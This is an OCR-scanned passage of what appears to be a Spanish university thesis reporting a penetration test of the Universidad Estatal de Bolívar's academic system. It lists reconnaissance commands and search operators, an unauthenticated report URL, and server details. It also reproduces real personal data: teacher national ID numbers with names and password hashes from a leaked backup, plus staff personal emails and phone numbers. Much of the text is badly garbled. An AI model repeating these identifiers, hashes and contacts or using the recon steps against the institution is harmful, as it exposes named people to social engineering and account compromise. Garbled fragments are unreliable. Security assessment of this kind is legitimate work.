(4, '1892538056',

(7, '0201339975',
(8, '1703779221",
(9, *1716764731",
(10, '6200511285',
(11, "1754292405°,
(12, '6201041621',
(13, '6200676263',
(14, '1801278035',
(15, '6200867349°,
(16, '1784558178°,
(18, '0602571572",
(19, '1884156689',
(26, '6201041571°,
(21, '0200909547°,
(22, '6201159944",
(23, '1802628568",
(25, '6201036456",
(26, '0200364065',
(27, '0200668313',
(28, '6201124823',
(29, '0200893436',
(30, '0200518637°,
(31, '0663021395',
(32, '0200732303',
(33, '6969086787",
(34, '1102759329',
(35, '0200900900°',

*ACEBO DEL Vf
'ALBAN YANEZ
"ALDAZ CARDE!
*ALTUNA VASQL
25093", *ALVARADO AGL
'ANDRADE. SANT
ARANOA NURE:
*ARCOS BOSQUE

"ARDCA PAZMI
ARREGUIN S
'BALLESTERD!
‘BARO BANO /
'BARBERAN B/
‘BARRAGAN ME
'BARRAGAN V]
'BARREND NAF
' BARRTONUEV(
"BAZANTES E¢
‘BONILLA AU
‘BONILLA U4
'BONILLA MY
"CALERD JARS
"CALLES LAY
“CAMACHO ES(
CAMACHO ARE
‘CARRASCO M
"CARRERA GUE
"CARRION BUE
‘CASTRO BERI
CEDENO ALV/
*CORDERD SAL
‘CULQUT CHIC

‘nom’, “auto', ‘espar’,
WRISOL', 6, 1, 6, "bd3489d1dd4
', 0, 1, 8, '9a22elaea53ale8l
(ILFRIDO', @, 1, 0, '0878717ef1
1s*, 8, 6, 8, 'c948349ab3168d5
iCA ESTHER', 0, 1, 0, 'ecdd704a
IGE VLADIMIR', 8, 1, @, '8c13b4
JEMENTE', 0, 1, 0, 'feladbl7df4
|\ MARIBEL', 0, 1, 0, '999519e3¢
BEATRIZ', 6, 1, 0, '969b7abded
', 6, 0, 6, '0da8f0e72816¢d38
10CIO0 DE LAS MERCEDES', 0, 0, 0
S', 0, 1, 8, 'e967f16a74fbefab
MR AUGUSTO', @, 1, 6, 'bfb36ab
) DE LOURDES', 8, 1, 8, '327b48
INZA SUSAWA', @, 1, B, ‘3f66an2
0 GEOVANNY', ©, 1, 0, '18dfo9f
\LEJANDRA ELIZABETH', 0, 1, 0,

{INGTON JAVIER', 6, 1, 0, '475d
ALFONSO', 8, 1, 0, 'e7a55dc5f0
), 1, 8, '399135212584836fbb19b
1ICA ELIZABETH', 0, 1, 0, 'ffod
\RDO EFRAIN', 6, 1, 0, 5497161
) VINICIO', 6, 1, 6, '3d713f205
) ANTONIO', ©, 1, O, '369cabc2?
'ER RODOLFO*, ©, 1, 8, '68¢3110
{INGTON ROLANDO', ©, 1, 6, '2b2
'0 BENIGNO', O, 1, B, 'f8c7bld3
N PAUL", O, 0, 0, '9ebd71fo4d6
BERTO', 0, 1, 0, '95192¢987323
(ECIBELT', 0, 1, 0, '2ebd342ece
‘0 BOLIVAR', 6, 1, 6, 'b62da217
LOSNALDO', 0, 1, 0, '78780558e

‘par’, ‘clave’,

“fac_doc’, 'coe_fac', 'val_coefac’, ‘doc’, ‘ges’, 'inv', 'vin') VALUES
SclcfdTceacdac3ge’, MMISTPATIVAS ', 8, D% 'G', 'N , N
S8dc3d2sbisf', MNISTRATIVAS 0 ' '
911ec528fc0407a6d8" , AWE(UARIAS '
fffobbb3176fe’, MRM(UARIAS 0
83924b9f23ac522816b", *SALUD',
dezbudneabmw EDUCKIM
468ea0ef238510572", 'MHISTRATIVAS' >
b73e0f019488233c2f8", ‘ADMINISTRATIVAS', *', @
9¢c09a597fdb27f7fc’, 'ADMINISTRATIVAS', ’ PR
d49e102fbc63', 'AGROPECUARIAS', '', ©, D', 'G', 'I', 'N'),
477024b07145348245dc5a212fe5683 ", 'JlRISPﬂDEN(IA' i
€31176f¢dS59', 'ADMINISTRATIVAS', '‘, @, 'D', 'N', 'N', 'N'
Sbf6foc967434317d387¢ ", W(U&RIAS MROPE(UARIAS
e38ebaff1f14f64ff99976', '0PTO. IHFOMTI[A '8, 0,
€0440618552dd3276ac40', 'JURISPRUDENCIA', '*, @, ‘D', 6‘
28f8704539a2€32143d05', 'ADMINISTRATIVAS', '*, 0, ‘D',
78bbb247¢6657b80e59bfcccB7a09", ‘AGROPE(UARIAS
8a72829b729bba5369970478", ' JURISPRUDENCIA', ',
2871967¢587a044b82", JI.NSPNDEN(IA ", 6, '0
660615', m?s(umm Al F N, ‘N'),
de?fMMJYZc&lMaedesé AMINISTRATIVAS , 0, D : 6'. W, N,
183bfc3d2225d47610464" , JMSPRIKN(IA D N'),
6646d19c0dof26¢70b6", *SALUD',
93968c5fbadae822e1l’, 'OPTO. (UI.TW FISI(A
799(346(6619346549(19 , 'ADMINISTRATIVAS',
92d83968168e146f0e242612f 'M’AOPE(U‘&IAS' i
696e¢1a9643ab0c3c008", 'DPTO. CULTURA FISICA

, 8
G,D ‘N
v ‘6%, N, YY),
)

W o
‘DPTO. U.lTW FISI(A' ‘0, 6, ‘W, ‘W),

©86983e8b8e70ab3a’, 'ADMINISTRATIVAS®, 8, '0°, '6", 'N', 'N'),
5bfBe396c0f2dad2’, 'ADMINISTRATIVAS', 0 ‘0, '6*, 'N', ‘N'),
mxw:e«ubw ANINISTRATIVAS .8, 'D*, 'G', 'N', V')
d03142276113638¢6l79 ‘AGROPECUARIAS', **, 8, 'D*, 'G", "N', 'N')

af610febd5386df2c54", 'AMINISTRATIVAS' MO lDIWS 6, '0', :6', I, '),

Figura 10. Copia de seguridad con credenciales de docentes. (Elaborado por el autor)

El siguiente operador fue utilizado para encontrar direcciones de correo electronico:

site:ueb.edu.ec intext:'"gmail.com' "yahoo.es'" "ueb.edu.ec"

Google

site:ueb.edu.ec intext."gmail.com" "yahoo.es" "ueb.edu.ec” Q

Todo

Noticias Imagenes

Maps Videos Mas Preferencias Herramientas

Cerca de 100 resultados (0,26 segundos)

Representantes Estudiantiles - Universidad Estatal de Bolivar
www.ueb.edu.ec/sitio/index.php/la-institucion/representantes-estudiantiles v

(593) 32206010; info@ueb.edu.ec ... CORREO: gvivianal46@gmail.com. TELEFONO 0967255478
.. CORREOQ: chikytadavila_8@yahoo.es. TELEFONO

PPINo. Apellidos y Nombres de los servidores y servidoras Puesto ...
www.ueb.edu.ec/sitio/images/PDF/LOTAIP/2018/JUNIO/LITERAL-B1.pdf ¥

30 jun. 2018 -
BARRAGAN

(593) 3 2 206 010. 1138 rballesteros @ueb.edu.ec ..
3 2 206 010. 1163 mg.barriga0304@gmail.com.

greygba78@yahoo.es. 14

Universidad Estatal de Bolivar
www.ueb.edu.ec/sitio/index.php/.../292-seminario-el-arte-en-la-primera-infancia v

8 may. 2018 - Presentacion. El presente Seminario tiene como propdsito intercambiar experiencias en
el ambito del arte en la primera infancia sobre todo ..

Figura 11. Resultados de la busqueda de Google. (Elaborado por el autor)

En las siguientes direcciones se encontr6 cuentas de correo electronico, nimeros de

teléfono, informacioén de acceso publico que revela informacion suficiente para

realizar un ataque a gran escala de ingenieria social a docentes.
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http://www.ueb.edu.ec/sitio/images/PDF/LOTAIP/2018/JUNIO/LITERAL-
B1.pdf

Literal b1) El directorio completo de la i

Apeliidos y Nombres de los. Ciudad en la Teléfono [Extensidn
No. Unidad a la & Correo Electrénico institucional
servidores y servidoras e que labora institucion al telefénica
PROFESOR PRINCIPAL 4 | FACULTAD DE CIENCIAS (AVENIDA ERNESTO CHE
1 |ACEBD DELVALLE GINA MARISOL (GUEVARA 5/N ¥ AVENIDA GUARANDA | {593)32 206 010 gacebo@ush edu ec
GRADO 2 ADMINISTRATIVAS
GABRIEL SECAIRA 1163
FACULTAD DE CIENCIAS (AVEMIDA ERNESTO CHE
2 |ALBAN YANEZ EDGAR HENRY AUKILILR N1 G1 ADMINISTRATIVAS (GUEVARA 5N Y AVENIDA GUARANDA {593) 32 206 010 ealban@uebedusc
GABRIEL SECAIRA 1163
(ALDAZ CARDEN AS IAIME PRINCIPAL NIVEL 1 FACULTAD DE CIENCIAS (AVEMIDA ERNESTO CHE
3 lwirmino cRADOE AGROPECUARIAS (GUEVARA S/N ¥ AVENIDA GUARANDA | (533) 32 983211 alkdn 2@uech edy ec
GABRIEL SECAIRA /]
[AVENIDA ERNESTO CHE
4 |ALTUNA VASQUEZ JIOSE LUS AUKILILR N1 G1 FACLILTAD DE CIENCIAS (GUEVARA 5N Y AVENIDA GUARANDA {593) 3 2983212 htunai@ueb. edu ec

AGROPECUARIAS GABRIEL SECAIRA Q

[AVENIDA ERNESTO CHE

(ALVARADO AGUILERA REBECA PROFESOR PRINCIPAL 1 | FACULTAD DE CIENCIAS DE

Gueh.edu.
5 ESTHER GRADO L LASALUD [GUEVARA 5/N YAVENIDA GUARANDA {593) 32 206 010 ralvarado@ueb. edu.ec
| GABRIEL SECAIRA 1143
[AVENIDA ERNESTO CHE
& [ANDRADE POLO MARIA CEQLIA PROFESCR PRINCIPAL 3 FACLLTAD DE CIENCIAS DE [GUEVARA 5/N YAVENIDA GUARANDA {593) 32 206 010 mandrade@uebedu.ec
(GRADO 2 LA EDUCACION
| GABRIEL SECAIRA 1143
[AVENIDA ERNESTO CHE
(ANDRADE SANTAMARLA JORGE  |PRINCIPAL NIVEL 1 FACULTAD DE CIENCIAS DE
jandrade@ush. edu.
7 [\ LADIMIR GRADO & LA EDUCACION [GUEVARA 5/N YAVENIDA GUARANDA {593) 32 206 010 rade@ueb. edu.ec
| GABRIEL SECAIRA 1150
[AVENIDA ERNESTO CHE
(ARANDA NUNEZ VICTOR PROFESOR PRINCIPAL 2 FACULTAD DE CIENCIAS DE
varandafuebedusc
8 CLEMENTE GRADO 2 LA EDUCACION [GUEVARA 5/N YAVENIDA GUARANDA {593) 32 206 010 waranda beduec
| GABRIEL SECAIRA 1143
[AVENIDA ERNESTO CHE
FACULTAD DE CIENCIAS
9 |ARCOS BOSQUEZ VERDNICA MARIAUXILIAR N1 G1 ADMINISTRATIVAS [GUEVARA 5/N YAVENIDA GUARANDA {593) 32 206 010
[GABRIEL SECAIRA 1163 valcﬁueb.edu.ec
[AVENIDA ERNESTO CHE
(AROCA PAZMINDG MARTHA PROFESOR PRINCIPAL 3 FACULTAD DE CIENCIAS
Gueh.edu.
1 BEATRIZ GRADO L ADMINISTRATIVAS [GUEVARA 5/N YAVENIDA GUARANDA {593) 32 206 010 marocaiE ueb.edu.ec
GABRIEL SECAIRA 1163
[AVENIDA ERNESTO CHE
11 [ARREGUIN SAMAND MOISES AUXILWR N1 G1 FACULTAD DE CIENCIAS [GUEVARA 5/N YAVENIDA GUARANDA {593) 3 2983211 man eb.edu.ec
AGROPECUARIAS
GABRIEL SECAIRA [+]
[AVENIDA ERNESTO CHE
BALLESTEROS NMENEZ ROCIO DE FACULTAD DE
rhallestercs Gueb.edu.ec
12 LS MERCEDES AUXILWR N1 G1 JUREPRUDENCIA [GUEVARA 5/N YAVENIDA GUARANDA {593) 32 206 010 rball esteros. beduec
GABRIEL SECAIRA 1138
[AVENIDA ERNESTO CHE
FACULTAD DE CIENCIAS
13 |BANO BARD ANGEL TOBIAS AUXILWR N1 G1 [GUEVARA 5/N YAVENIDA GUARANDA {593) 32 206 010 ahano@ueb. edu e

ADMINISTRATIVAS

Figura 12. Correos electronicos expuestos en archivos pdf. (Elaborado por el autor)

http://www.fce-vir.ueb.edu.ec/fce/plan_tutorias/Lista_contactos_asesores.pdf

CONT RAT ADOS
Anethas@hovmail com 00875003718

docencaweb. cvd@gmail.com —

1T ARELLANO ESPINOZ A FLORCITA. DRA
IQUE MARCELD, LIC

3. BOSQUEZ BEARCENES VICTOR ALE|ANDRO, UC | wictorbarcenesd gm ail.com 000022 616
4. CARDENAS BENAVIDES | ONATHAN PATRICIO, jnathan. casdenas b gmail.com 0993145823
ING
"5 CEWALLOS GAVILANEZ ROLANDO PAT RICIO, LIC | rolanda 711 @ latinm ai.com 008 7 B3 0468
B CEVALLOS FINEDA EGUEE, TRG eguce hoo.es TOEZSI0EIT
7. GARCIA BENITO, LIC benogarcia 3G yahoo.es 0094307719 — 032985686
_B.GONZALEZ GUERRON VICTOR WELINGTON, LIC | wiogonzalezd2 @homailes 0090143168
4 GRUELD GONZALEZ CARLOS ALFREDD, DR kris gruezogi@hommail.com 0064938 TR05
10, HERREFA HERRERA FERNERDO [AVIER, LIT ih_systemas@hoim ail.com O TESE
_11. JURADO ESPIN GERMANLA, LIC geram aniajwadodyahao. es 0080683241
| 12, LLANOS ORELLANA CESAR AGUSTO, LIC ¢ lanasarellanag vahaa. com 0088368766
13, LOPEZ QUINCHA MARTHA, LIC matiabpezg@yahoo.es DOgSEN1297
14. MONAR FRANCISCO. LIC
.15 PEREZ GAIEOR NARCY CONCEPCION, LIC perezgaibomancpyc oncepoiongyahoo.es 099401 5106
16. PINOS MORALES GEOFRE |AVIER, LIC geaie panos @ yahoa.es 00E83040.244
. . pamior { d@yahoocom patmice T I@hommail.ocom
18. ROSILLO SOLAND |OSE DANIEL, ING idrasilloB 1 & gmail.com 0094333824
| 19, WVASCONEZ SALAZAR |OSE LIS, LIC 0097862963
(20 VASCOREZ TORRES MAROLO JAVIER, OC mvasconezp@gmailoom DOOA66 5200
| 21. ESPARZA FERNARDO, ING ieespa@hatmailcom 0083289710

_22. NORMA CARRERA OCANA, UC
23. PANATA GARCIA NELLY PATRICIA, LIC.
M BORIMCA ROLCDAN MARTA OE LOS ANGELES.

098519319 — 032972171
99382 7940 — 032081737

alicarr_1955@yahaoa.es

patypanata@yahoo.es
mariadelosangelesbonilla@yahoo es

uc.
25, AUCANCELA GUASHPA NELLY, AE.

| nelyazucenaa@yahoo.es 0088427328

(26, BONILLA |UAN ELOY, LIC. e bonilamhotmai. com 0901348746 032081420
27. BARRETOVILLARROEL MARLIANA DE | ESUS, miarianabanetab hatmail com 0999181294
DIRA.

28 DOMINGUEZ CAIZA JOSE LUIS, UC. mpselisdo@yahaa.es 099941 2827

2 RAMOS ORTIZ RUTH CECILE, DRA. ramas-ceciia@hosmail.cam

. 30. PEREZ PEREZ ANGEL EDUARDO, LIC. 09803539970

Figura 13. Correos electronicos expuestos en archivos pdf. (Elaborado por el autor)

El siguiente operador se utiliz6 para encontrar informacion referente al dominio del

sianet.



site:sianet.ueb.edu.ec

GO g|e site:sianet.ueb.edu.ec Q,

Todo Imagenes Noticias Maps Mas Preferencias Hemramientas

erca de 60 resultados (0,19 segundos)

Probar Google Search Console
www.google.com/webmasters/
¢Eres dueno de sianet.ueb.edu.ec? Obtén datos de clasificacion e indice de Google

SIANET

https:/iwww.sianet.ueb.edu.ec/ v

iSu navegador no es el correcto! Por favor instale Mozilla Firefox haciendo clic en la imagen y vuelva
a Intentario. This site is Powered By - UEB-Net

Sistema de POAS - sianet - Universidad Estatal de Bolivar
hl(ps Ihwwwi.sianet.ueb.edu.ec/spoa/MANUAL _USUARIO_SPOA.pdf v
APROBADO: Rector UEB. Indice. Introduccion
3. Ingreso al sistema

Coordinador - Universidad Estatal de Bolivar - Sistema Académico
hups://iwww.sianet.ueb.edu.ec/smeflogin_coordinador.php

A traves de este servicio que ofrece el Sistema SI@Net, usted podra obtener reportes relaclonados a
la matricula. Ingrese su usuario y contrasefa otorgado por

Figura 14. Resultados de la biusqueda con Google. (Elaborado por el autor)

Hallazgo 1

Solicitud de pagina directa

Esta es una vulnerabilidad debido a una inconsistencia a nivel de control de acceso,
facilitando la entrada en el sistema sin necesidad de realizar la autenticacion previa,
esta debilidad se encontrd en la siguiente direccion:

https://www.sianet.ueb.edu.ec/sme/reporte_faltas.php

& SISTEMA DE MATRICULACION
SI et ESTUDIANTIL
Sistema Académco Integrado en Red £ ﬂ\ SM E

Universidad Estatal de Bolivar

Manual de Usuario

\a Reportes de Faltas Estudiantiles Jueves 15 de noviembre de 2018; 10:06 AM

Informacion de faltas de facultad y departamentos por asignaturas

 Record Academico
> Salir

Figura 15. Inconsistencia en el control de acceso. (Elaborado por el autor)

En la ilustracion se observa que el acceso fue exitoso y es posible realizar las

actividades asignadas como un usuario autenticado.
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Hallazgo 2

Divulgacion de informacion

El exponer datos sensibles de los usuarios le permite a un atacante facilitar su acceso
a la aplicacion, en la siguiente ruta se encontrd informacion de curriculos de
docentes.

https://www.sianet.ueb.edu.ec/escalafon/linkInvitadoCurriculum.php

POSIBLES RESULTADOS

CEDULA £ _NOMBRES ___CURRICULUM |
0201094778 NELSON XAVIER BUCHELI ESPINOZA
1704700754 FELIX EDUARDO CAJAMARCA ESPINOSA ==
0201715521 JHOANNA ELIZABETH ESPINOZA TACLE
0200415719 JORGE ANTONIO PINOS ESPINOZA ==
0906880356 | BOLIVAR ANTURO SOLANO ESPINOZA ==
0917835357 ZOLANDA AMARILIS ESPINOZA ERAZO ===
o201812724 RUBEN DARIO SALTOS ESPIN ==
1702978691 RENEE BOLIVAR ESPIN COLOMA ==
0600014146 ESTUARDO ARTURO GALLEGOS ESPINOZA ==
0201144961 CARLOS ENRIQUE ORTIZ ESPINOZA ==
0602047789 ELISA CARMITA ESPINOZA CHANGA ==
0200643815 MARIA GERMANIA DEL ROCIO JURADO ESPIN ==
0200515849 CARLOS ALONSO GUTIERREZ ESPIN ==
| 0200404051 ADOLFO LUIS BALLESTEROS ESPIN ==
0201833647 DANIELA PAOLA AVALOS ESPINOZA ==
0200664332 FLORCITA JANETH ARELLANO ESPINOZA ==
0200989630 | KLEBER ESTUARDO ESPINOZA MORA
0201359965 MARICELA ARACELI ESPIN MOREJON ==
0201885225 CHRISTOPHER GABRIEL ESPINOSA RUIZ

Figura 16. Curriculos de docentes generados en formato pdf. (Elaborado por el autor)

2.1.3. Busquedas con Shodan
Shodan
Es un motor de busqueda disefiado para buscar dispositivos conectados a Internet,
utiliza escéneres distribuidos en todo el mundo para seleccionar al azar las
direcciones IP de destino e identificar puertos TCP y UDP disponibles.
Con shodan fue posible encontrar los puertos (22) SSH, (443) HTTPS, (5432)
PostgreSQL y (8008) http-simple-new, simplemente especificando la direccion IP

del sianet, ademas de proporcionar la ubicacion geografica del servidor.

190.15.128.203

(-20.-775)

Qo

©190.15.128.203 i s v == Ports

8008
Country Ecuador

Figura 17. Puertos abiertos identificados con shodan. (Elaborado por el autor)
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()I)(atlE;E;Ii: Version: 7.4

SSH-2.0-0penSSH_T7.4

Key type: ssh-rsa

Key: AAAAB3NzaClyc2EAAAADAQABAAABAQDcw2JIHdONLAjNROTgCZv/61Ny7CksvSIGUSISrEVVWTIS1
CJyUhFEHzTXxCvBaBlWgtnQYMvCnYpuFTGrZTO6yH jDWFTS3wIYSbOX7PISEacNFzGgmn553/btn0
AGKO9C7ImTCYTeTkZyEdCNbTfMRwxRDFeeChHAY IFGhGShHIg2Z2LXtCO9Z0ue30XWgomesL1pS8hwvD
21C2ZwI/b8U8zX2nNmZXeous IMWZK3kLLbtsz9/YvPWwP3400xYHNE/31v091HUe2MzGsV7N4AngLre
qqyetgXfpruUQhL/ZZu9surx1/6tY5+TmfJ1lps4VILcp7HI1cTSguZIJIbBi9Gg6uZpGnES

Fingerprint: b9:cl:37:7b:903:6d:32:e9:32:4e:ee:e9:e2:Cc9:b0:4cC

Figura 18. Servicio ssh identificado con shodan. (Elaborado por el autor)

a44a=

tcp
https

Apache httpd vor=ion:- 2 a2 6

HTTP/71.1 200 OK

Date: Tue, 64 Dec 2018 12:2S5:07 GMT

Server: Apache/2.4.6 (CentO0OS) OpenSSL/71.0.2k-Tips PHP/7.0.32
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Frame-Options: DENY

X-Content-Type-Options: nosnirtrrt

X-Powered-By: PHP/7.0.32

TransTer -Encoding: chunked

Content-Type: text/7html; charset=UTF-8

Figura 19. Servicio https identificado con shodan. (Elaborado por el autor)

5432 PostgreSQL

tcp
postgresg| PostgreSQL
fe_sendauth: no password supplied

Figura 20. Servicio postgresql identificado con shodan. (Elaborado por el autor)

008 HTTP/71 .31 362 Found
tcp Location: https://190.15.128.203:8010/
htrtp-simple-neww Connection: close
X-Frame-Options: SAMEORIGIN
.....!!...... X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosnirrT
Content-Security-Policy: frame-ancestors

Figura 21. Servicio http-simple-new identificado con shodan. (Elaborado por el autor)

2.1.4. Email Harvesting
The harvester
Es una forma efectiva de encontrar correos electronicos, y posiblemente nombres
de usuarios, que pertenecen a una organizacion. Esta informacién es util para
realizar ataques del lado del cliente, esta herramienta puede buscar direcciones de

correo electronico en Google, Bing y otros.
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Mediante la siguiente instruccion dirigida al dominio del sianet, se recolecto correos
electronicos y nombres de host con su respectiva resolucion.

theharvester -d sianet.ueb.edu.ec -1 500 -b google

Emails found:

admin@ueb.edu.ec
soporteeva@ueb.edu.ec
vebmaster@ueb.edu.ec
erivadeneira@ueb.edu.ec
gacebo@ueb.edu.ec

Total hosts:

Admisionpregrado.ueb.edu.ec:181.113.114.

.biblioteca.ueb.edu.ec:empty
admisionpregrado.ueb.edu.ec:181.113.114.
biblioteca.ueb.edu.ec:190.15.128.227
dspace.ueb.edu.ec:190.15.128.197
fce-vir.ueb.edu.ec:empty

sianet.ueb.edu.ec:190.15.128.203

virtual.ueb.edu.ec:empty
.biblioteca.ueb.edu.ec:empty
.dspace.ueb.edu.ec:190.15.128.197
.fce-vir.ueb.edu.ec:190.15.128.213
.sianet.ueb.edu.ec:190.15.128.203
-ueb.edu.ec:190.15.128.205
.virtual.ueb.edu.ec:196.15.128.200

Figura 22. Correos electronicos y subdominios descubiertos con theharvester. (Elaborado por el

autor)

Obtenido los correos electronicos, es momento de usar pipl.com, es uno de los
motores de busqueda de personas mas grande para tratar de encontrar informacion
relevante.

A través de esta biisqueda solo se pudo identificar para webmaster@ueb.edu.ec, el
nombre y una fotografia que lo identifica, al parecer tiene una cuenta en Gravatar,
s un servicio gratuito para propietarios de sitios, desarrolladores y usuarios, obtener
este tipo de informacion podria ser muy util para realizar ataques de ingenieria

social, enfatizando el hecho de que los humanos son el eslabon mas débil.

pipl N ° EEREEEE

Buscar por

EE—————— webmaster@ueb.edu.ec

| S
webmaster@ueb.edu.ec- _ _ ____ --. Guaranda
wwmm  Globally Recognized Avatars - Gravatar

Figura 23. Informacion del usuario obtenida con pipl. (Elaborado por el autor)
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2.1.5. Busqueda de metadatos
Exiftool
Es una aplicacion de linea de comandos para leer, escribir y editar metainformacion
en una amplia variedad de archivos.
Para realizar esta prueba primero se descargd un archivo de texto publico,
perteneciente a la institucion, luego se emitid el comando exiftool, seguido el
nombre del fichero, las graficas muestran como se pudo obtener informacion sobre

el software utilizado, fecha de creacion del archivo y correos electronicos,

informacion importante para llevar a cabo el plan de explotacion.

exiftool archivo.doc

# exiftool NORMATIVA\ PROYECTOS\ SIN\ FINANANCIAMIENTO.doc

ExifTool Version Number
File Name

Directory

File Size

File Modif ation Date/Time
File Acce Date/Time
File Inod hange Date/Time
File Perm ions

File Type

File Type Extension
MIME Type
Identification

Language Code

Doc Flags

System

Word 97

Title

Subject

Author

Keywords

Template

Last Modified By
Software

Create Date

11.16

NORMATIVA PROYECTOS SIN FINANANCIAMIENTO.doc

168 kB

2019:01:18 12:09:38-05:00
2019:01:18 12:09:38-05:00
2019:01:18 12:09:38-05:00
o E2 ph B ad

DOC

doc

application/msword

: Word 8.0

English (US)
1Table, ExtChar

: Windows

No

Usuario

Normal
Investigaciodn

: Microsoft Office word

2017:12:19 14:17:00

Figura 24. Resultados obtenidos de exiftool. (Elaborado por el autor)

Modify Date
Security

Company

Char Count wWith Spaces
App Version

Scale Crop

Links Up To Date
Shared Doc

Hyperlinks Changed
Title Of Parts

Heading Pairs

Code Page

Hyperlinks

o.es, mailto:evilcacundo@ueb.edu.e
Comp Obj User Type Len :
Comp Obj User Type

Last Printed

Revision Number

Total Edit Time

wWords

Characters
Pages
Paragraphs
Lines

2017:12:19 14:17:00
None

Toshiba

19390

15.0000

No

No

No

No

Titulo, 1

: Windows Latin 1 (wWestern European)
mailto: jcoe67@yahoo.es, mailto:romechealvarez@y:

c, mailto:investigacion20l16@gmail.com
36

Documento de Microsoft Word 97-2003
2017:11:23 14:28:00Z

2

o

2988

16440

<]

38

137

Figura 25. Resultados obtenidos de exiftool. (Elaborado por el autor)

2.1.6. Fingerprint Web
Netcraft

Se utiliza para buscar informacion indirecta sobre los servidores web en internet,
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incluido el sistema operativo subyacente, la version del servidor web y el tiempo de
actividad.
En las siguientes capturas se detalla, la version del servidor web apache, sistema

operativo CentOS, tiempo de actividad del servidor.

Site report for sianet.ueb.edu.ec
Lookup anather URL: share: @O DDO®

sianet.ueb.edu.ec

= Background

Site title SIANET Date first seen December 2010
Site rank Primary language ~ Spanish
Description Not Present

Keywords Not Present

Netcraft Risk 010

Rating [FAQ]

Figura 26. Resultados obtenidos de netcraft. (Elaborado por el autor)

= Network
Site hupisianetueb.edu.ec Netblock Owner Universidad Estatal de Bolivar
Domain ueb.edu.ec Nameserver nslhenet
IP address 190.15.128.203 (VirusTotal) DNS admin hostmaster@he.net
IPv6 address Not Present Reverse DNS unknown
Domain registrar  unknown Nameserver whois.networksolutions.com
organisation
Organisation unknown Hosting company  unknown
Top Level Domain  Ecuador (edu.ec) DNS Security unknown
Extenslons
Hosting country Rl EC
-1 Hosting History
Netblock owner IP address 0s Web server Lastseen Refresh
Universidad Estatal de Bolivar Guaranda 190.15.128.203 Linux Apache/2.4.6 CentOS OpenSSL/1.0.2k-fips PHP/7.0.32 12-Dec-2018
Universidad Estatal de Bolivar Guaranda 190.15.128.203 Linux  Apache/2.4.6 CentOS OpenSSL/1.0.2k-fips PHP/7.0.24 11-Nov-2017

Figura 27. Resultados obtenidos de netcraft. (Elaborado por el autor)

Whatweb

Es una herramienta que cuenta con mas de 900 complementos capaces de identificar
la version del servidor, tecnologias subyacentes y direcciones de correo electronico.
Las imagenes a continuacion especifican, la version del servidor web apache 2.4.6,
sistema operativo CentOS, OpenSSL 1.0.2, PHP 7.0.32, informacién obtenida

mediante la siguiente instruccion.



whatweb -a 3 —no-errors -v sianet.ueb.edu.ec

wWhatwWeb report for

Status : 200 OK

Title : SIANET

IP : 190.15.128.203
Country

Summary : HTTPServer| ] [Apache/2.4.6 (Cent0S) OpenSSL/1.0.2k-fips PHP/7.0.32]
, PoweredBy[-], Strict-Transport-Security[max-age=63072000; includeSubdomains], PHP[
7.0.32], Script[JavaScript,text/javascript], UncommonHeaders|[x-content-type-options]
, X-Frame-Options[DENY], X-Powered-By[PHP/7.0.32], Apache[2.4.6], OpenSSL[1.0.2k-fip
s]

Detected Plugins:

[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.

Version : 2.4.6 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/

Figura 28. Resultados obtenidos con whatweb. (Elaborado por el autor)

[ HTTPServer |
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.

0S -
String : Apache/2.4.6 (Cent0S) OpenSSL/1.0.2k-fips PHP/7.06.32 (from
rver string)

[ OpenSSL ]
The OpenSSL Project is a collaborative effort to develop a
robust, commercial-grade, full-featured, and Open Source
toolkit implementing the Secure Sockets Layer (SSL v2/v3)
and Transport Layer Security (TLS v1) protocols as well as
a full-strength general purpose cryptography library.

Version : 1.0.2k-fips
Website : http://www.openssl.org/

Figura 29. Resultados obtenidos con whatweb. (Elaborado por el autor)

PHP widely-t d ge ral-purpose scripting language

that i especially suited for wWeb development and can be

embedded into HTML. This plugin identifies PHP errors,

modules and versions and extracts the local file path and
if present.

Version : 7.0.32

Version =5y Aol fo

Google Dorks: (2)

Website : http://www.php.net/

[ PoweredBy |
This plugin identifies instances of 'Powered by x' text and

attempts to extract the value for x.

String

[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.

String : JavaScript, text/javascript

Figura 30. Resultados obtenidos de whatweb. (Elaborado por el autor)
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2.2. Escaneo y Enumeraciéon
En esta fase de descubren los servicios en un puerto, los sistemas operativos
involucrados, los firewalls, los sistemas de deteccion de intrusos, los dispositivos
perimetrales, identificar usuarios de servicios que forman parte de la organizacion
objetivo.
El proceso de escaneo y enumeracion se realizo entre el 26 y 30 de noviembre de
2018.

2.2.1. Balanceadores de carga y WAF

Lbd
Balanceadores de carga son un método utilizado por las organizaciones para
distribuir la carga en otros servidores. De esta manera, las aplicaciones funcionan
de forma efectiva y mantienen el tiempo de actividad, aumentando su confiabilidad.
Ibd es capaz de detectar balanceadores de carga DNS y HTTP analizando los datos
de respuesta de la aplicacion, los resultados obtenidos con la herramienta, no

identifico ninglin balanceador de carga disponible, el comando utilizado fue:

Ibd sianet.ueb.edu.ec

:~# 1lbd sianet.ueb.edu.ec

lbd - load balancing detector ©.4 - Checks if a given domain uses load-balancing.
wWrit by Stefan Behte (http:// mine.nu)
Proof-of-concept! Might give false positives.

Checking for DNS-Loadbalancing: NOT FOUND

Checking for HTTP-Loadbalancing [Server]:
Apache/2.4.6 (Cent0S) OpenSSL/1.0.2k-fips PHP/7.0.32
NOT FOUND

Checking for HTTP-Loadbalancing [Date]: 19:51:13, 19:51:13, 19:51:13, 19:51:14, 19:5
1:14, 19:51:14, 19 12355 1951215, 19 < - : - 2 19:51:16,;, 19:51:17, 19:51:18
e 49:51 2190 1951 21951951 190019510285 : 2215 X925 21, v19:51 21, 1951322, 19
soX 22, 19512235 195223, 19:51:235 19:51:24,; 19:51:24; 19:51:24; 19:51:325; 19:51:
25, 19:51:25, 19251255 19:51:26; 19:51:26;, 19:51:26, 19:51:27, 19:51:27, 19:51:33;
19:51:33, 0 319:51 2345 019:51 3570195135 010:531 35,0 19:51:36, 0 19:531236,19:51:36,19:5
1:36, 19:51:37, 19:51:38, 19:51:38, NOT FOUND

Checking for HTTP-Loadbalancing [Diff]: NOT FOUND

